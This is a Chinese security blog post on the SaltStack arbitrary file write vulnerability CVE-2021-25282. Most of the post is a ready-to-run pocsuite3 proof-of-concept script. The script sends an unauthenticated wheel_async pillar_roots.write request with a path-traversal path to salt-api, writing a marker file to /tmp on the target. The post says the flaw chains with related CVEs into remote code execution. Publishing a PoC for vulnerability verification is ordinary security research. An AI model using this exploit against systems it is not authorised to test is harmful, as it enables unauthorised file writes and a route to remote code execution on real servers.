统计
  • 建站日期:2021-03-15
  • 文章总数:62 篇
  • 评论总数:43 条
  • 分类总数:14 个
  • 最后更新:6天前

Saltstack 任意文件写入漏洞 (CVE-2021-25282)

本文阅读 1 分钟
广告

背景:

SaltStack管理工具允许管理员对多个操作系统创建一个一致的管理系统,包括VMware vSphere环境。SaltStack事件驱动的自动化软件帮助IT组织大规模管理和保护云基础设施,同时自动化高效编排企业DevOps工作流。

2月26号,SaltStack发布高危漏洞通告。漏洞通过CVE-2021-25281 未授权访问和CVE-2021-25282 任意文件写入,最后配合CVE-2021-25283 模板注入完成了未授权RCE的组合洞。

POC如下:

#!/usr/bin/env python
# coding: utf-8
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE    
import re
import json


class TestPOC(POCBase):
    vulID = '000'
    version = '1'
    author = 'zhzyker'
    vulDate = '2021-02-27'
    createDate = '2021-03-02'
    updateDate = '2021-03-02'
    references = ['https://github.com/zhzyker/vulmap']
    name = 'SaltStack Arbitrary file writing vulnerability(CVE-2021-25282)'
    appName = 'SaltStack'
    appVersion = '< 3002.5'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.REMOTE
    desc = '''
        Unauthorized access to wheel_async, arbitrary code/commands can be executed through salt-api.
    '''

    
    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
            ports = [pr.port]
        else:
            ports = [8000]
        for port in ports:
            target = '{}://{}:{}'.format(pr.scheme, pr.hostname, port)
            TIMEOUT = 10
            
            url = target + "/run"
            path = "../../../../../../../../../tmp/vuln"
            headers = {
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
                'Content-Type': 'application/json'
                }
            data = {
                'eauth': 'auto',
                'client': 'wheel_async',
                'fun': 'pillar_roots.write',
                'data': 'vuln_cve_2021_25282',
                'path': path
            }
            
            data = json.dumps(data)
            try:
                r = req.post(url, headers=headers, data=data, timeout=TIMEOUT, verify=False)
                # print(r.text)
                tag = list(json.loads(r.text)["return"])[0]["tag"]
                jid = list(json.loads(r.text)["return"])[0]["jid"]
                if r"salt/wheel" in tag:
                    if jid in tag:
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['URL'] = url
                        result['VerifyInfo']['JID'] = jid
                        result['VerifyInfo']['UPLOAD'] = path
                        break
            except:
                pass
        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(TestPOC)
本文经授权后发布,本文观点不代表立场,文章出自:POC由【之乎者也】提供。
-- 展开阅读全文 --
齐治堡垒机前台远程命令执行漏洞
« 上一篇 04-11
一个基于微步情报API的威胁情报收集溯源工具TIG
下一篇 » 04-11
广告

发表评论

成为第一个评论的人

作者信息

广告

动态快讯

热门文章

广告

标签TAG

热评文章